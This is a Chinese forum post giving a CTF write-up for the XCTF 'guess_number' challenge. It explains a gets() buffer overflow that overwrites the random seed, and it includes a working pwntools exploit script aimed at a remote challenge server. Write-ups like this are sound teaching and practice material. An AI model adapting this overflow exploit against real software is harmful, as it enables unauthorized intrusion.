首页
论坛
课程
招聘
XCTF攻防世界guess_number
2019-10-1 19:55 5584

XCTF攻防世界guess_number

2019-10-1 19:55
5584

guess_number题解

首先进行程序基本信息检查:

 

 

看起来是正常程序,大概就是输入一个name,然后输入一个数字,相匹配就成功。(初步猜测是随机数233333)

 

ida查看一下源代码:

 

 

很幸运,程序没有进行混淆或者反调,直接看到了真实的源代码。在main函数里,我们注意到有一个gets()函数,这是一个危险函数,很可能会出问题。

 

继续往下看,下面的for循环是处理输入的数字部分,果然是一个随机数字,猜对了。在这里,有一个if判断,我们是否可以进行覆盖使判断条件成立直接执行到success?不能,因为程序开启了cannary,没办法进行覆盖。

 

最后在输入正确的数字后会执行一个sub_C3E()函数,进入函数查看:

 

 

直接执行了"cat flag"。

 

总结一下,我们就是要输入正确的随机数,然后让程序执行到sub_C3E()函数,就可以看到flag了。那么如何猜对随机数字呢?

 

需要注意在产生随机数的前面有个gets()函数,而且没有对输入的字符长度进行限制。来看一下栈中的情况:

 

 

我们可以通过var_30对seed进行覆盖,这样一来生成的随机数就变成我们已知的了。

 

具体实现:

  1. 通过垃圾字符覆盖var_30到seed:“a” * 0x20
  2. 使用p64()把1按照64位的方式进行排列产生随机数
  3. 调用srand()生成随机数
  4. 利用循环多次输入进行比较,直到相等。

exp:

from pwn import *
from ctypes import *

sh = remote('111.198.29.45',43114)
e=ELF('./guess_number')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'A' * 0x20 + p64(1)

sh.sendlineafter("name:",payload)

libc.srand(1)
for i in range(10):
    sh.sendlineafter("number:",str(libc.rand()%6+1))

print sh.recvall()

最终获取到flag:

 

知识点:ctypes的利用,详解见官网吧~~


[公告]看雪技术峰会,技术大牛大型线下交流见面会,2020年10月23日 上海浦东喜来登由由大酒店!

收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 5126
活跃值: 活跃值 (6091)
能力值: (RANK:65 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2019-10-2 10:40
2
0
感谢分享哦~
游客
登录 | 注册 方可回帖
返回